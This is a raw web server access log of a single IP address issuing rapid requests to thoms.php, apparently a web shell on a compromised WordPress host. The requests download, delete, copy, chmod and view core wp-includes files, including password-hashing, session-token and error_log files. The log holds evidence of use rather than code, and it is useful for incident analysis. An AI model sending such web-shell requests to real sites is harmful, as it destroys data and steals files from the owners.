45.135.193.11 - - [11/Sep/2026:23:35:54 -0400] "GET /thoms.php?dl=class-pop3.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /betcity.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:54 -0400] "GET /thoms.php?del=class-wp-block.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59419 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /thoms.php?del=class-wp-network.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fcss HTTP/1.1" 200 20137 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 200 13484 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /betcity.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 200 13490 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /thoms.php?del=ai-client.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /thoms.php?del=class-feed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:55 -0400] "GET /thoms.php?dl=class-phpass.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:56 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:56 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59348 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:56 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:56 -0400] "GET /betcity.com.tw/wp-includes/class-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:56 -0400] "GET /thoms.php?del=fonts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:57 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 200 12747 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:56 -0400] "GET /thoms.php?dl=view-transitions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:57 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:57 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59397 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:57 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftemplate.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftemplate.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:57 -0400] "GET /thoms.php?dl=functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:57 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fnav-menu.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fnav-menu.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:57 -0400] "GET /thoms.php?del=ms-network.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /betcity.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:57 -0400] "GET /thoms.php?dl=blocks.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11903 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /betcity.com.tw/wp-includes/update.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /thoms.php?chmod=Requests&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 200 30540 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /betcity.com.tw/wp-includes/class-feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /thoms.php?chmod=deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:59 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fupdate.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fupdate.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:58 -0400] "GET /thoms.php?del=load.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=load.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:59 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:59 -0400] "GET /thoms.php?dl=registration-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:59 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:59 -0400] "GET /thoms.php?del=style-engine&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?del=style-engine&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:59 -0400] "GET /betcity.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:59 -0400] "GET /thoms.php?chmod=embed-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:59 -0400] "GET /betcity.com.tw/wp-includes/admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:59 -0400] "GET /thoms.php?del=class.wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:00 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 200 12349 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:00 -0400] "GET /thoms.php?del=widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:00 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:00 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59438 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:00 -0400] "GET /thoms.php?del=cron.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?del=cron.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:00 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fmedia-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fmedia-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:00 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 200 37977 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:01 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 200 13192 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:01 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:00 -0400] "GET /thoms.php?dl=error_log&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=error_log&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:01 -0400] "GET /thoms.php?chmod=default-constants.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:01 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=option.php HTTP/1.1" 200 37248 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:01 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=widgets.php HTTP/1.1" 200 31892 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:01 -0400] "GET /thoms.php?dl=abilities.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:01 -0400] "GET /thoms.php?dl=bookmark-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:01 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:01 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:02 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:02 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 200 15890 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:02 -0400] "GET /betcity.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:02 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:02 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 200 12101 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:02 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 200 13951 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
